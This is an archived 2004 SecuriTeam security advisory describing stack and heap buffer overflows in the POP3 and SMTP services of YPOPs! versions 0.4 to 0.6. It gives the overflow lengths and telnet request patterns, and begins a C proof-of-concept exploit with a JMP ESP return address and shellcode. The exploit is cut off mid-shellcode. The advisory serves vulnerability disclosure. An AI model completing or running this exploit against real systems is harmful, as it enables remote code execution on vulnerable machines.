

[NT] Remote Buffer overflow Vulnerability in YPOPs!

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-10/0007.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 10/04/04

To: list@securiteam.com

Date: 4 Oct 2004 13:50:56 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Remote Buffer overflow Vulnerability in YPOPs!

SUMMARY

" <<http://yahoopops.sourceforge.net/>> YPOPs! is an application that provides POP3 access to Yahoo! Mail. It is available on the Windows, Linux, Solaris and Mac platforms."

Both POP3 and SMTP services have buffer overflow vulnerabilities. The Remote Attacker can send specific Request to these services to cause a Stack based buffer overflow which could allow a remote attacker to execute arbitrary code or just simply crash the service on a vulnerable system.

DETAILS

Vulnerable Systems:

* YahooPOPS version 0.4 up to v0.6

A YahooPOPS 0.x uses the Local SMTP and POP3 engines to send and receive emails. SMTP service is not Enabled By default. Users can enable SMTP by Software Options.

A POP3 USER request with more than 180 bytes will corrupt the heap. POP3 request (Dos Attack):

Securiteam: [NT] Remote Buffer overflow Vulnerability in YPOPs!

```
Telnet localhost 110
+OK POP3 YahooPOPs! Proxy ready
[USER][180xA][BBBB]
```

As a result the EAX and ECX will be overwritten.

SMTP request:
Sending a request with more than 504 bytes will overwrite the ESP and cause a stack based overflow.

```
Telnet localhost 25
220 YahooPOPs! Simple Mail Transfer Service Ready
[504xA] [BBBB]
```

As a result the EIP registers will be overwritten.

Proof of Concept Code:

```
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock.h>

#pragma comment(lib,"wsock32.lib")

int main(int argc, char *argv[])
{
    static char overflow[1024];

    char ret_code[]="\x23\x9b\x02\x10"; //JMP ESP – libcurl.dll
    char jump_back[]="\x89\xe3\x66\x81\xeb\xfb\x01\xff\xe3";

    /*– harmless code (tnx to snooq) , will open notepad on the remote
    machine */
    char code[]= "\x33\xc0" // xor eax, eax slight modification to move esp
    up
    "\xb0\xf0" // mov al, 0f0h
    "\x2b\xe0" // sub es
```